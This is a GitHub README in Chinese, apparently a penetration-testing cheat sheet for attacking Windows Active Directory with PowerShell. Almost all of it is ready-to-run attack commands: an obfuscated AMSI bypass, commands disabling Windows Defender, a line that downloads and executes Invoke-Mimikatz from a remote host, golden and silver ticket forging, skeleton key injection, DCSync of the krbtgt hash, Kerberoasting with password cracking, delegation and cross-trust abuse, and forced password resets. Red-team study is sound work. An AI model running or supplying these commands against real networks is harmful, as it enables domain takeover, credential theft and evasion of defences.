drak3hft7/Cheat-Sheet---Active-Directory
GitHub: drak3hft7/Cheat-Sheet---Active-Directory
一份覆盖 Windows Active Directory 枚举与攻击全流程的 PowerShell 实战命令速查表。
Stars: 638 | Forks: 108

这份速查表包含了使用 powershell 对 Windows Active Directory 进行常见枚举和攻击的方法。
最后更新:*2026年4月3日*
## 目录
- [前置条件](#pre-requisites)
- [PowerShell AMSI 绕过](#PowerShell-AMSI-Bypass)
- [PowerShell 绕过执行策略](#PowerShell-Bypass-Execution-Policy)
- [使用 PowerShellArmoury 进行规避和混淆](#Evasion-and-obfuscation-with-PowerShellArmoury)
- [Windows Defender](#windows-defender)
- [远程桌面](#remote-desktop)
- [启用远程桌面](#Enable-Remote-Desktop)
- [使用远程桌面登录](#login-with-remote-desktop)
- [使用带有文件夹共享的远程桌面登录](#Login-with-remote-desktop-with-folder-sharing)
- [枚举](#enumeration)
- [用户枚举](#users-enumeration)
- [Domain Admins 枚举](#domain-admins-enumeration)
- [计算机枚举](#computers-enumeration)
- [组和成员枚举](#groups-and-members-enumeration)
- [共享枚举](#shares-enumeration)
- [OUI 和 GPO 枚举](#oui-and-gpo-enumeration)
- [ACL 枚举](#acls-enumeration)
- [Domain Trust 映射](#domain-trust-mapping)
- [Domain Forest 枚举](#domain-forest-enumeration)
- [用户搜寻](#user-hunting)
- [使用 BloodHound 枚举](#enumeration-with-bloodhound)
- [图形化查询](#gui-graph-queries)
- [控制台查询](#console-queries)
- [本地提权](#local-privilege-escalation)
- [横向移动](#lateral-movement)
- [权限维持](#persistence)
- [Golden Ticket](#golden-ticket)
- [Silver Ticket](#silver-ticket)
- [Skeleton Key](#skeleton-key)
- [DCSync](#dcsync)
- [特权升级](#privilege-escalation)
- [Kerberoast](#kerberoast)
- [针对性 Kerberoasting AS REPs](#targeted-Kerberoasting-AS-REPs)
- [针对性 Kerberoasting Set SPN](#targeted-Kerberoasting-set-spn)
- [Kerberos 委派](#kerberoast-delegation)
- [非约束委派](#unconstrained-delegation)
- [Printer Bug](#printer-bug)
- [约束委派](#constrained-delegation)
- [使用 Trust Tickets 从子域到父域](#Child-to-Parent-using-Trust-Tickets)
- [使用 Krbtgt Hash 从子域到父域](#Child-to-Parent-using-krbtgt-hash)
- [使用 Trust Tickets 跨 Forest](#Across-forest-using-trust-tickets)
- [GenericAll 滥用](#GenericAll-Abused)
- [MSSQL Servers 信任滥用](#trust-abuse-mssql-servers)
- [Forest 持久化 DCShadow](#Forest-Persistence-DCShadow)
## 工具和脚本
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
- [PowerView 教程](https://powersploit.readthedocs.io/en/latest/Recon/)
- [PowerView Dev](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
- [PowerShellArmoury](https://github.com/cfalta/PowerShellArmoury)
- [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)
- [HeidiSQL 客户端](https://github.com/HeidiSQL/HeidiSQL)
- [AD 模块](https://github.com/samratashok/ADModule)
- [PowerShell AMSI 绕过](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
- [Neo4j - 社区版](https://neo4j.com/download-center/#community)
- [SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)
- [SharpHound 教程](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html)
- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
- [BloodHound-python](https://github.com/dirkjanm/BloodHound.py)
- [Rubeus](https://github.com/GhostPack/Rubeus)
- [MS-RPRN](https://github.com/leechristensen/SpoolSample)
- [Kekeo](https://github.com/gentilkiwi/kekeo/)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/)
- [Kerbrute](https://github.com/ropnop/kerbrute/)
## 前置条件
### 使用 PowerView:
```
. .\PowerView.ps1
```
### 使用 PowerView dev:
```
. .\PowerView_dev.ps1
```
### 使用 AD 模块
```
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1
```
# PowerShell AMSI 绕过
```
# AMSI bypass
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
# PowerShell 绕过执行策略
```
# 查看 Execution Policy
Get-ExecutionPolicy
# 按系统级别列出
Get-ExecutionPolicy -List | Format-Table -AutoSize
# Bypass
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy
```
**示例:**

# 使用 PowerShellArmoury 进行规避和混淆
### 创建一个 armoury
```
# 如果你想使用默认设置创建一个 armoury(注意:除了 base64 encoding 外,这根本不会进行任何 obfuscate)
. .\New-PSArmoury.ps1
New-PSArmoury
cat -raw .\MyArmoury.ps1 | iex
```
参考:[这里](https://github.com/cfalta/PowerShellArmoury)
# Windows Defender
### 禁用 Windows Defender
```
# 关闭
Set-MpPreference -DisableRealtimeMonitoring $true
```
### 禁用 Windows Defender 并删除签名
```
# 关闭
"c:\Program Files\Windows Defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
```
**示例:**

# 远程桌面
### 启用远程桌面
```
# 开启
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
```
### 使用远程桌面登录
```
# Login
rdesktop 172.16.20.20 -d corporate -u username -p password
```
### 使用带有文件夹共享的远程桌面登录
```
# Login
rdesktop 172.16.20.20 -d corporate -u username -p password -r disk:sharename=//home/username/Desktop/Tools
```
### 使用 xfreerdp 登录
```
# Login
xfreerdp /u:username /p:password /v:172.16.20.20
```
### 使用带有文件夹共享的 xfreerdp 登录
```
# Login
xfreerdp /u:username /p:password /v:172.16.20.20 /drive:/home/username/Desktop/Tools
```
# 枚举
### 用户枚举
- **使用 PowerView**:
```
# 获取用户列表
Get-NetUser
# 按 username 过滤
Get-NetUser -Username user01
# 从用户列表中获取 cn (common-name)
Get-NetUser | select cn
# 从用户列表中获取 name
Get-NetUser | select name
# 获取计算机上当前活跃的登录用户(需要对目标具有 local admin 权限)
Get-NetLoggedon -ComputerName
# 列出所有 properties
Get-UserProperty
# 显示上次设置密码的时间
Get-UserProperty –Properties pwdlastset
# 显示账户创建时间
Get-UserProperty -Properties whencreated
```
- **使用 AD 模块**:
```
# 获取用户列表
Get-ADUser -Filter *
# 获取用户及其 properties 列表
Get-ADUser -Filter * -Properties *
# 列出用户的 samaccountname 和 description
Get-ADUser -Filter * -Properties * | select Samaccountname,Description
# 从 cn common-name 获取用户列表
Get-ADUser -Filter * -Properties * | select cn
# 从 name 获取用户列表
Get-ADUser -Filter * -Properties * | select name
# 显示密码设置时间
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```
### Domain Admins 枚举
- **使用 PowerView:**
```
# 获取当前 domain
Get-NetDomain
# 从其他 domain 获取项目
Get-NetDomain -Domain corporate.local
# 获取当前 domain 的 domain SID
Get-DomainSID
# 获取当前 domain 的 domain policy
Get-DomainPolicy
# 查看 Domain Admins Group 的 Attributes
Get-NetGroup -GroupName "Domain Admins" -FullData
# 获取 Domain Admins group 的 Members:
Get-NetGroupMember -GroupName "Domain Admins"
```
- **使用 AD 模块:**
```
# 获取当前 domain
Get-ADDomain
# 从其他 domain 获取项目
Get-ADDomain -Identity corporate.local
# 获取当前 domain 的 domain SID
(Get-ADDomain).DomainSID
# 获取当前 domain 的 domain policy
(Get-DomainPolicy)."system access"
```
### 计算机枚举
- **使用 PowerView:**
```
# 获取当前 domain 中的计算机列表
Get-NetComputer
# 获取当前 domain 中的计算机及其完整数据列表
Get-NetComputer -FullData
# 获取计算机列表并抓取其 operating system
Get-NetComputer -FullData | select operatingsystem
# 获取计算机列表并抓取其 name
Get-NetComputer -FullData | select name
# 发送 ping 以检查计算机是否存活(它们可能存活,但仍然不响应任何 ICMP echo request)
Get-NetComputer -Ping
```
- **使用 AD 模块:**
```
# 获取当前 domain 中的计算机及其完整数据列表
Get-ADComputer -Filter * -Properties *
# 获取计算机列表并抓取其 name 和 operating system
Get-ADComputer -Filter * -Properties OperatingSystem | select name,OperatingSystem
# 获取计算机列表并抓取其 name
Get-ADComputer -Filter * | select Name
```
### 组和成员枚举
- **使用 PowerView:**
```
# 关于 groups 的信息
Get-NetGroup
# 获取 group name 中包含 "admin" 关键字的所有 groups
Get-NetGroup *Admin*
# 获取 "Domain Admins" group 的所有成员
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
# 以 "Enterprise Admins" group 查询根 domain,该 group 仅存在于 forest 的根中
Get-NetGroupMember -GroupName "Enterprise Admins" –Domain domainxxx.local
# 获取 "user01" 的 group membership
Get-NetGroup -UserName "user01"
```
- **使用 AD 模块:**
```
# 获取 group name 中包含 "admin" 关键字的所有 groups
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
# 获取 "Domain Admins" group 的所有成员
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# 获取 "user01" 的 group membership
Get-ADPrincipalGroupMembership -Identity user01
```
### 共享枚举
- **使用 PowerView:**
```
# 在当前 domain 的主机上查找 shares
Invoke-ShareFinder -Verbose
# 在当前 domain 的计算机上查找敏感文件
Invoke-FileFinder -Verbose
# 搜索 file servers。大量用户通常会登录到这类服务器
Get-NetFileServer
# 查找 shares,排除 standard、print 和 ipc。
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
# 枚举当前用户有权限访问的 Domain Shares
Find-DomainShare -CheckShareAccess
# 查找 domain 中感兴趣的 shares,忽略 default shares,并检查访问权限
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
```
### OUI 和 GPO 枚举
- **使用 PowerView:**
```
# 获取 domain 中的 organizational units
Get-NetOU
# 获取 domain 中的 organizational units 及其 name
Get-NetOU | select name
# 获取 domain 中的 organizational units 及其完整数据
Get-NetOU -FullData
# 从 "ouiexample" 获取所有计算机。Ouiexample --> organizational Units
Get-NetOU "ouiexample" | %{Get-NetComputer -ADSpath $_}
# 检索当前 domain 中存在的 GPOs 列表
Get-NetGPO
# 检索当前 domain 中存在的 GPOs 列表及其 displayname
Get-NetGPO| select displayname
# 获取目标计算机上的 GPO 列表
Get-NetGPO -ComputerName | select displayname
# 查找对该机器拥有 local admin 权限的用户
Find-GPOComputerAdmin –Computername
# 获取给定用户作为特定 group 成员的机器
Find-GPOLocation -Identity -Verbose
# 枚举应用于 example OU 的 GPO
Get-NetGPO -ADSpath 'LDAP://cn={example},CN=example'
```
- **使用 AD 模块:**
```
# 获取 domain 中的 organizational units
Get-ADOrganizationalUnit -Filter * -Properties *
```
### ACL 枚举
- **使用 PowerView:**
```
# 枚举 users group 的 ACLs
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs
# 枚举 Domain Admins group 的 ACLs
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs
# 获取与特定前缀关联的 acl
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
# 查找感兴趣的 ACLs
Invoke-ACLScanner -ResolveGUIDs
# 检查 user group 的修改 rights/permissions
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "user"}
# 检查 RDPUsers group 的修改 rights/permissions
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPusers"}
# 检查 RDPUsers group 的修改 rights/permissions
Invoke-ACLScanner | select ObjectDN,ActiveDirectoryRights,IdentityReferenceName
# 为当前用户搜索感兴趣的 ACL's
Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}
```
### Domain Trust 映射
- **使用 PowerView:**
```
# 获取当前 domain 内所有 trusts 的列表
Get-NetDomainTrust
# 获取指定 domain 内所有 trusts 的列表
Get-NetDomainTrust -Domain us.domain.corporation.local
# 获取其发现的每个 domain 的所有 trusts 列表
Get-DomainTrustMapping
```
**示例:**

- **使用 AD 模块:**
```
# 获取当前 domain 内所有 trusts 的列表
Get-ADTrust -Filter *
# 获取指定 domain 内所有 trusts 的列表
Get-ADTrust -Identity us.domain.corporation.local
```
### Domain Forest 枚举
- **使用 PowerView:**
```
# 获取当前 forest 中的所有 domains
Get-NetForestDomain
# 获取当前 forest 中的所有 domains
Get-NetForestDomain -Forest corporation.local
# 映射所有 trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# 仅映射外部 trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
```
**示例:**

- **使用 AD 模块:**
```
# 获取当前 forest 中的所有 domains
(Get-ADForest).Domains
# 仅映射外部 trusts
(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
```
### 用户搜寻
- **使用 PowerView:**
```
# 查找当前 domain 上当前用户具有 local admin 访问权限的所有机器
Find-LocalAdminAccess -Verbose
# 查找 domain 中所有机器上的 local admins
Find-DomainLocalGroupMember -Verbose
# 枚举所有可达机器 的 local group memberships
Find-DomainLocalGroupMember -Domain
# 查找已登录 domain administrator 的机器
Invoke-UserHunter
# 确认以 administrator 身份访问机器
Invoke-UserHunter -CheckAccess
```
### 使用 BloodHound 枚举
#### 前置条件
#### Neo4j:
链接:[Neo4j - 社区版](https://neo4j.com/download-center/#community)
#### SharpHound:
链接:[SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)
#### BloodHound:
链接:[BloodHound](https://github.com/BloodHoundAD/BloodHound)
#### BloodHound-python:
链接:[BloodHound-python](https://github.com/dirkjanm/BloodHound.py)

**1. 安装并启动 neo4j 服务:**
```
# 安装 service
.\neo4j.bat install-service
# 启动 service
.\neo4j.bat start
```
**2. 运行 BloodHound 收集器以收集有关当前域的数据和信息:**
```
# 收集数据和信息
. .\SharpHound.exe --CollectionMethod All
# 收集数据和信息
Invoke-BloodHound -CollectionMethod All -Verbose
```
或者
**3. 运行 BloodHound-python 收集器以收集有关当前域的数据和信息:**
```
# 收集数据和信息
python3 bloodhound.py -u username -p 'password' -ns x.x.x.x -d xxxx.local -c All
```
### 图形化查询
```
# 查找任何 owned user 在计算机上拥有的所有 edges
match p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p
# 查找所有具有 SPN 的用户/查找所有 Kerberoastable Users
match (n:User)WHERE n.hasspn=true
# 查找用户可以 RDP 进入的 workstations
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND NOT c.operatingsystem CONTAINS 'Server' return p
# 查找用户可以 RDP 进入的 servers
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND c.operatingsystem CONTAINS 'Server' return p
# 查找所有具有 Unconstrained Delegation 的计算机
match (c:Computer {unconstraineddelegation:true}) return c
# 查找过去 30 天内登录过的用户
match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] return u
# 查找特定 domain 中任何用户的所有 sessions
match p=(m:Computer)-[r:HasSession]->(n:User {domain: "corporate.local"}) RETURN p
# 查找所有 domain 计算机上的活跃用户 sessions
match p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) return p2
# 查看包含 'administrators' 关键字的所有 groups
match (n:Group) WHERE n.name CONTAINS "administrators" return n
# 查找 unprivileged users 是否有权限向 groups 添加成员
match (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) return p
```
### 控制台查询
```
# 查找哪些 groups 可以 RDP
match p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name
# 查找哪些 groups 可以重置密码
match p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name
# 查找哪些 groups 具有 local admin 权限
match p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name
# 查找所有到不同 domain/forest 的连接
match (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name
# 具有最多权限的 Kerberoastable Users
match (u:User {hasspn:true}) OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH u,COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS comps RETURN u.name,COUNT(DISTINCT(comps)) ORDER BY COUNT(DISTINCT(comps)) DESC
# 查找过去 30 天内登录过的用户
match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u.name, u.lastlogon order by u.lastlogon
# 查找 constrained delegation
match (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC
# 枚举所有 properties
match (n:Computer) return properties(n)
```
# 本地提权
### 使用 PowerUp:
```
. .\PowerUp.ps1
```
链接:[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
### BeRoot
```
.\beRoot.exe
```
链接:[BeRoot](https://github.com/AlessandroZ/BeRoot/tree/master/Windows)
### PrivEsc
```
. .\privesc.ps1
```
链接:[PrivEsc](https://github.com/enjoiz/Privesc/blob/master/privesc.ps1)
- **使用 PowerUp:**
```
# 执行所有检查
Invoke-AllChecks
# 获取路径未加引号且名称中包含空格的 services
Get-ServiceUnquoted -Verbose
# 获取当前用户可以写入其 binary path 或更改其 binary 参数的 services
Get-ModifiableServiceFile -Verbose
# 获取当前用户可以修改其配置的 services
Get-ModifiableService -Verbose
# 让我们将当前的 domain user 添加到本地 Administrators group 中
Invoke-ServiceAbuse -Name 'software_xxx' -UserName 'corporate\student01'
```
- **使用 PrivEsc:**
```
# 执行所有检查
Invoke-Privesc
```
# 横向移动
- **Powershell 远程控制:**
```
# 在指定 server 上执行 whoami & hostname 命令
Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName xxxx.corporate.corp.local
# 在指定 server 上执行脚本 Git-PassHashes.ps1
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName xxxx.corporate.corp.local
# 在当前机器上启用 Powershell Remoting
Enable-PSRemoting
# 启动一个新 session
$sess = New-PSSession -ComputerName
# 进入该 Session
Enter-PSSession $sess
Enter-PSSession -ComputerName
Enter-PSSession -ComputerName -Sessions
```
- **Invoke-Mimikatz:**
```
# 从计算机 xxx.xxx.xxx.xxx 执行 Invoke-Mimikatz
iex (iwr http://xxx.xxx.xxx.xxx/Invoke-Mimikatz.ps1 -UseBasicParsing)
# "Over pass the hash" 从 hashes 生成 tokens
Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:corporate.corp.local /ntlm:x /run:powershell.exe"'
```
# 权限维持
### Golden Ticket
- **Invoke-Mimikatz:**
```
# 在 DC 上以 DA 身份执行 mimikatz 以获取 hashes
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
# Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /krbtgt:0c88028bf3aa6a6a143ed846f2be1ea4 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```
### Silver Ticket
- **Invoke-Mimikatz:**
```
# 用于 service HOST 的 Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:0c88028bf3aa6a6a143ed846f2be1ea4 /user:Administrator /ptt"'
```
### Skeleton Key
- **Invoke-Mimikatz:**
```
# 用于注入 skeleton key 的命令
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'-ComputerName dcorp-dc.corporate.corp.local
```
### DCSync
- **使用 PowerView 和 Invoke-Mimikatz:**
```
# 检查 user01 是否具有这些权限
Get-ObjectAcl -DistinguishedName "dc=corporate,dc=corp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "user01") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
# 如果你是 domain admin,你可以将这些权限授予任何用户
Add-ObjectAcl -TargetDistinguishedName "dc=corporate,dc=corp,dc=local" -PrincipalSamAccountName user01 -Rights DCSync -Verbose
# 获取 krbtgt 的 hash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
# 特权升级
### Kerberoast
**1. 使用 Powerview 枚举:**
```
# 使用 PowerView 查找用作 Service accounts 的用户账户
Get-NetUser SPN
```
**2. 使用 AD 模块枚举:**
```
# 查找用作 Service accounts 的用户账户
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```
**3. 请求 TGS:**
```
# 请求 TGS - 阶段 1
Add-Type -AssemblyNAme System.IdentityModel
# 请求 TGS - 阶段 2
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.corp.corporate.local"
# 检查 TGS 是否已被授予
klist
```
**4. 导出并破解 TGS:**
```
# 导出所有 tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 破解 Service account 密码
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\3-40a10000-svcadmin@MSSQLSvc~dcorp-mgmt.corp.corporate.local-CORP.CORPORATE.LOCAL.kirbi
```
### 针对性 Kerberoasting AS REPs
**1. 使用 Powerview dev 版本枚举:**
```
# 枚举禁用 Kerberos Preauth 的账户
Get-DomainUser -PreauthNotRequired -Verbose
# 使用 ACLs 枚举 RDPUsers 的权限
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```
**2. 使用 AD 模块枚举:**
```
# 枚举禁用 Kerberos Preauth 的账户
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
# 为 test01 UAC settings 设置主动 pre-authentication
Set-DomainObject -Identity test01 -XOR @{useraccountcontrol=4194304} -Verbose
```
**3. 请求加密的 AS REP 以便使用 John 进行离线暴力破解:**
```
# 请求加密的 AS REP
Get-ASREPHash -UserName VPN1user -Verbose
```
### 针对性 Kerberoasting Set SPN
**1. 使用 Powerview dev 版本:**
```
# 检查 user01 是否已经拥有 SPN
Get-DomainUser -Identity User01 | select serviceprincipalname
# 为该用户设置 SPN
Set-DomainObject -Identity User01 -Set @{serviceprincipalname='ops/whatever1'}
```
**2. 使用 AD 模块:**
```
# 检查 user01 是否已经拥有 SPN
Get-ADUser -Identity User01 -Properties serviceprincipalname | select serviceprincipalname
# 为该用户设置 SPN
Set-ADUser -Identity User01 -ServicePrincipalNames @{Add='ops/whatever1'}
```
**3. 请求票据:**
```
# 步骤 1 - 请求 ticket
Add-Type -AssemblyNAme System.IdentityModel
# 步骤 2 - 请求 ticket
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
# 检查 ticket 是否已被授予
klist
```
**示例:**

**4. 导出所有票据并暴力破解密码:**
```
# 使用 Mimikatz 导出所有 tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 使用 tgsrepcrack 暴力破解密码
python.exe .\kerberoast\tgsrepcrack.py .\kerberoast\wordlists.txt '.\3-40a10000-user01@ops~whatever1-CORP.CORPORATE.LOCAL.kirbi'
```
### Kerberos 委派
### 非约束委派
**1. 使用 Powerview:**
```
# 搜索启用了 unconstrained delegation 的 domain computers
Get-NetComputer -UnConstrained
# 通过 property name 搜索启用了 unconstrained delegation 的 domain computers
Get-NetComputer -Unconstrained | select -ExpandProperty name
# 通过 property dnshostname 搜索启用了 unconstrained delegation 的 domain computers
Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname
```
**2. 使用 AD 模块:**
```
# 搜索启用了 unconstrained delegation 的 domain computers
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```
### Printer Bug
#### 前置条件
#### Rubeus:
```
.\Rubeus.exe
```
链接:[Rubeus](https://github.com/GhostPack/Rubeus)
#### Ms-rprn:
```
.\MS-RPRN.exe
```
链接:[MS-RPRN](https://github.com/leechristensen/SpoolSample)
**1. 捕获 TGT:**
```
# 开始监控任何 authentication
.\Rubeus.exe monitor /interval:5 /nowrap
```
**2. 运行 MS-RPRN.exe:**
```
# 运行 MS-RPRN.exe 以滥用 printer bug
.\MS-RPRN.exe \\dcorp.corp.corporate.local \\dcorp-appsrv.corp.corporate.local
```
**3. 复制 base64 编码的 TGT,去除多余空格:**
```
# 使用该 ticket
.\Rubeus.exe ptt /ticket:
```
**4. 使用注入的票据针对 Corp 执行 DCSync 攻击:**
```
# 使用 Mimikatz 运行 DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'
```
### 约束委派
#### 前置条件
#### Kekeo:
```
.\kekeo.exe
```
链接:[Kekeo](https://github.com/gentilkiwi/kekeo/)
**1. 使用 Powerview dev 版本:**
```
# Users enumeration
Get-DomainUser -TrustedToAuth
# Computers Enumeration
Get-DomainComputer -TrustedToAuth
# 通过 property dnshostname 搜索启用了 unconstrained delegation 的 domain computers
Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname
```
**2. 使用 AD 模块:**
```
# 枚举启用了 constrained delegation 的 users 和 computers
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```
**3. 使用 Kekeo:**
```
# 请求 TGT
tgt::ask /user: /domain: /rc4:
# 请求 TGS
/tgt: /user:Administrator@ /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local
# 使用 Mimikatz 注入 TGS
Invoke-Mimikatz -Command '"kerberos::ptt "'
```
**4. 使用 Rubeus:**
```
# 请求 TGT 和 TGS
.\Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:"CIFS/" /ptt
```
### 使用 Trust Tickets 从子域到父域
**1. 查找从子域到父域的 [入站] 信任密钥:**
```
# 查找从 child 到 parent 的 [In] trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
**2. 创建跨域 TGT:**
```
# 创建 inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4: /service:krbtgt /target: /ticket:C:\\trust_tkt.kirbi"'
```
**3. 使用伪造的信任票据获取目标域中服务的
TGS:**
```
# 为 service 获取 TGS(下方的 CIFS)
.\asktgs.exe C:\\trust_tkt.kirbi CIFS/mcorp-dc.corporate.local
```
**4. 使用 TGS 访问目标服务并检查:**
```
# 使用 TGS
.\kirbikator.exe lsa .\CIFS.mcorp-dc.corporate.local.kirbi
# 检查
ls \\mcorp dc.corporate.local\c$
```
### 使用 Krbtgt Hash 从子域到父域
**1. 查找从子域到父域的 [入站] 信任密钥:**
```
# 查找从 child 到 parent 的 [In] trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
**2. 创建跨域 TGT:**
```
# 创建 inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt: /ticket:C:\test\krbtgt_tkt.kirbi"'
```
**3. 使用 mimikatz 注入票据:**
```
# 注入 ticket
Invoke-Mimikatz -Command '"kerberos::ptt C:\test\krbtgt_tkt.kirbi"'
# 检查
gwmi -class win32_operatingsystem -ComputerName mcorp-dc.corporate.local
```
**示例:**

### 使用 Trust Tickets 跨 Forest
**1. 请求跨 Forest 信任的信任密钥:**
```
# 请求 inter forest trust 的 trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc.corp.corporate.local
```
**2. 创建跨域 TGT:**
```
# 创建 inter-realm TGT
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4: /service:krbtgt /target:eurocorp.local /ticket:C:\test\kekeo_old\trust_forest_tkt.kirbi"'
```
**3. 使用伪造的信任票据获取目标域中服务(如下的 CIFS)的
TGS:**
```
# 为 service 获取 TGS
.\asktgs.exe C:\test\trust_forest_tkt.kirbi CIFS/eurocorp-dc.corporate.local
```
**4. 将 TGS 提交给目标 Forest 中的服务(CIFS):**
```
# 出示 TGS
.\kirbikator.exe lsa .\CIFS.eurocorp-dc.corporate.local.kirbi
```
### GenericAll 滥用

**1. 使用 GenericAll 获得完全控制。修改密码的方法:**
```
# 用户密码修改
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user mickey.mouse newpassword /domain}
```
# MSSQL Servers 信任滥用
